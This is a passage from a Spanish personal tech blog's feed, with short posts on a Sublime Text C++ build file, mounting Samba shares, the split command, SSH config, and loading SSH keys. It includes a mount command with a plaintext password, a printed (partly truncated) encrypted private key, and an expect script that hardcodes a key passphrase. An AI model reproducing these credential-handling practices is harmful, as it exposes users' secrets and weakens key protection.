&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;cmd&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;g++&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-Wall&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;$file_name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-o&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}.exe&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&amp;amp;&amp;amp;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}.exe&amp;#34;&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;selector&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;source.c++&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;shell&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;working_dir&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;$file_path&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//Linux
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;cmd&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;g++&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-Wall&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;$file_name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;-o&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&amp;amp;&amp;amp;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;${file_base_name}&amp;#34;&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;selector&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;source.c++&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;shell&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;working_dir&amp;#34;&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;$file_path&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Cuando lo hallamos hecho, guardamos dicho archivo en la carpeta donde nos sugiere Sublime Text, y le ponemos un nombre descriptivo como por ejemplo C++.sublime-build, &lt;strong>ten cuidado que la extensión del archivo sea .sublime-build.&lt;/strong>&lt;/p>
&lt;p>Y con eso ya hemos terminado, para compilar y ejecutar nuestros programas en C++ tan solo debes ir a &lt;code>Tools -&amp;gt; Build System&lt;/code> y elegir el nombre del archivo que has modificado ante.,&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://ayudasprogramacionweb.blogspot.com.es/2012/12/compilar-y-ejecutar-cpp-desde-sublime-text.html" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>carpetas-compartidas-samba</title><link>https://www.procamora.com/p/carpetas-compartidas-samba/</link><pubDate>Tue, 22 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/carpetas-compartidas-samba/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post carpetas-compartidas-samba" />&lt;p>mount -t cifs //192.168.1.58/G/DescargasPi /mnt/DescargasPi -o username=procamora,password=adsasdasd&lt;/p>
&lt;p>&lt;a class="link" href="https://wiki.ubuntu.com/MountWindowsSharesPermanently" target="_blank" rel="noopener"
>https://wiki.ubuntu.com/MountWindowsSharesPermanently&lt;/a>&lt;/p></description></item><item><title>Comando Split</title><link>https://www.procamora.com/p/comando_split/</link><pubDate>Mon, 21 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/comando_split/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Comando Split" />&lt;p>El programa split es una utilidad de los sistemas operativos tipo Unix, usada para partir un archivo en uno o más de menor tamaño. De ahí su nombre, que en inglés significa partir.&lt;/p>
&lt;p>&lt;code>Sintaxis: split [parámetros opcionales] [archivo de entrada] [archivo de salida]&lt;/code>&lt;/p>
&lt;p>El comportamiento por defecto de split es generar archivos de salida de hasta 1000 líneas. Estos archivos se nombran añadiéndole aa, ab, ac, etcétera, a archivo de salida; si no se da el nombre del archivo de salida, se usa el nombre por defecto de x, resultando en los archivos xaa, xab, etcétera. Si se usa un guion (-) como archivo de entrada, se leen los datos de la entrada estándar.&lt;/p>
&lt;p>Para unir de nuevo los archivos se usa el comando cat.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">$ split --help
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Usage: split [OPTION]... [INPUT [PREFIX]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Output fixed-size pieces of INPUT to PREFIXaa, PREFIXab, ...; default
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">size is 1000 lines, and default PREFIX is `x&amp;#39;. With no INPUT, or when INPUT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">is -, read standard input.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Mandatory arguments to long options are mandatory for short options too.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -a, –suffix-length=N utiliza sufijos de longitud N (por omisión 2)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -b, –bytes=TAMAÑO escribe TAMAÑO bytes en cada fichero de salida
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -C, –line-bytes=BYTES escribe un máximo de BYTES bytes sin cortar líneas
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -d, –numeric-suffixes utiliza sufijos numéricos en vez de alfabéticos
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -e, --elide-empty-files do not generate empty output files with `-n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> --filter=COMMAND write to shell COMMAND; file name is $FILE
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -l, –lines=NÚMERO pone NÚMERO de líneas en cada fichero de salida
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -n, --number=CHUNKS generate CHUNKS output files. See below
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -u, --unbuffered immediately copy input to output with `-n r/...&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> --verbose print a diagnostic just before each
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> output file is opened
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> --help display this help and exit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> --version output version information and exit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">SIZE may be (or may be an integer optionally followed by) one of following:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">KB 1000, K 1024, MB 1000*1000, M 1024*1024, and so on for G, T, P, E, Z, Y.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">CHUNKS may be:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">N split into N files based on size of input
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">K/N output Kth of N to stdout
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">l/N split into N files without splitting lines
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">l/K/N output Kth of N to stdout without splitting lines
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">r/N like `l&amp;#39; but use round robin distribution
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">r/K/N likewise but only output Kth of N to stdout
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>#Dividir&lt;/p>
&lt;p>#####Partir por tamaño de fichero de 20Mb
&lt;code>split dict.lst -b 20MB&lt;/code>&lt;/p>
&lt;p>Y el resultado:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 xaa
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 xab
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 xac
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 xad
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 xae
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 xaf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>#####Partir por tamaño de fichero de 20Mb con nombre con letras
&lt;code>split dict.lst -b 20MB dict_&lt;/code>&lt;/p>
&lt;p>Y el resultado:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict_aa
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict_ab
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict_ac
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict_ad
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict_ae
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict_af
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>#####Partir por tamaño de fichero de 20Mb con nombre con números
&lt;code>split dict.lst -b 20MB -d dict&lt;/code>&lt;/p>
&lt;p>Y el resultado:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict00
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict01
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict02
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict03
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict04
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 20000 Mar 12 20:48 dict05
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>#####Partir por cada 20000 lineas
&lt;code>split dict.lst -l 20000&lt;/code>&lt;/p>
&lt;p>Y el resultado:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 2000 Mar 12 20:48 xaa
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 2000 Mar 12 20:48 xab
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 2000 Mar 12 20:48 xac
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 2000 Mar 12 20:48 xad
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 2000 Mar 12 20:48 xae
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-rw-rw-r-- 1 user user 2000 Mar 12 20:48 xaf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="unir">Unir&lt;/h1>
&lt;p>&lt;code>cat dict* &amp;gt; dict.lst&lt;/code>&lt;/p>
&lt;p>&lt;a class="link" href="http://hipertextual.com/archivo/2010/04/comando-linux-split/" target="_blank" rel="noopener"
>http://hipertextual.com/archivo/2010/04/comando-linux-split/&lt;/a>&lt;/p></description></item><item><title>ssh_configfile</title><link>https://www.procamora.com/p/ssh_configfile/</link><pubDate>Sun, 20 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/ssh_configfile/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post ssh_configfile" />&lt;p>.ssh/config&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Host github.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> User git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> HostName github.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> IdentityFile ~/.ssh/github.project1.key
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Host bitbucket.org
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> User git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> HostName bitbucket.org
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> IdentityFile ~/.ssh/github.org.key
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Host github.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> User git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> IdentityFile ~/.ssh/github.key
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;a class="link" href="http://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/" target="_blank" rel="noopener"
>http://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/&lt;/a>&lt;/p></description></item><item><title>Privatekey_linux</title><link>https://www.procamora.com/p/privatekey_linux/</link><pubDate>Sat, 19 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/privatekey_linux/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Privatekey_linux" />&lt;p>fichero OpenSSH.GitHub&lt;/p>
&lt;p>&lt;code>cat ~/.ssh/OpenSSH.GitHub&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-----BEGIN RSA PRIVATE KEY-----
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Proc-Type: 4,ENCRYPTED
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">DEK-Info: DES-EDE3-CBC,4AFCBF8D0AF1ABB6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+G1vplr+DfWb2h/a04BfdsfdsffYcqewrwrewvH5RYcqi4Q4eqhjj5UIXF6cQ5ZY
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pqIWBBmC3sIwkztnCZC5KqMYjLy9hbDdFQ5EplW3QN7wV9Bs2PXRl0NIDWMBicjS
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">em+jS0365JIle+ofYPeGiZIjZq6VxUQJeVgIFG56AWP/Vq9nvHjvblwOl5rFQaLh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">nDJT+06jmkhFlN6sdfdfdsfdfS4MdOlPQkJBvfdhOJ4viUYfdjspy2NjuMvXH2Wb
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rIHC0wtYFiNhPTCeCXfEXqv7Fhw2bBZM//W/oqleyz+Y5EBlWZLcyqG6FYtHTEkL
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Mh6Y4NL8XMqg3Gly9PKH0RfT2mJYJhN1ni1KBn6H6SXzlLU5bKgfM8aNJ9RVS9it
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rQ4B38i8HuoS6lOvIAdsfsdffffssffODyrMi0kREuvQC5fhfuQB83cn1lx5u/Ut
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ETC......
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-----END RSA PRIVATE KEY-----
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Creamos el directorio para las claves y ponemos las claves en el con los permisos adecuados&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">mkdir -p ~/.ssh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">touch ~/.ssh/OpenSSH.GitHub
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">vim ~/.ssh/OpenSSH.GitHub &lt;span class="c1"># guardamos el contenido de la clave privada&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">600&lt;/span> ~/.ssh/OpenSSH.GitHub &lt;span class="c1"># le quitamos los permisos necesarios&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-add ~/.ssh/OpenSSH.GitHub &lt;span class="c1"># ponemos la contraseña y ya tenemos cargala la clave&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si obtenemos este error al cargar la clave con &lt;code>ssh-add OpenSSH&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">Could not open a connection to your authentication agent.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Entonces tendremos que ejecutar &lt;code>eval $(ssh-agent)&lt;/code> y colocarlo al final de &lt;em>.bashrc&lt;/em> para que se ejecute al inicio de cada sesión.&lt;/p>
&lt;p>&lt;code>ssh -T git@github.com&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Resultado
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Hi procamora! You&amp;#39;ve successfully authenticated, but GitHub does not provide shell access.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para hacer que se auto cargue la clave al inicio de la sesión crear un script como este y ponerlo en el arranque de linux, para descargarlo pulse &lt;a class="link" href="https://www.procamora.com/code/cargaKey.sh" >aquí&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/usr/bin/expect -f
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> USER &lt;span class="o">[&lt;/span>&lt;span class="nb">exec&lt;/span> whoami&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">spawn ssh-add /home/&lt;span class="nv">$USER&lt;/span>/.ssh/OpenSSH
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">expect &lt;span class="s2">&amp;#34;Enter passphrase for /home/&lt;/span>&lt;span class="nv">$USER&lt;/span>&lt;span class="s2">/.ssh/OpenSSH:&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">send &lt;span class="s2">&amp;#34;PASSWORD&lt;/span>$&lt;span class="s2">\n&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">interact
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="http://unix.stackexchange.com/questions/90853/how-can-i-run-ssh-add-automatically-without-password-prompt" target="_blank" rel="noopener"
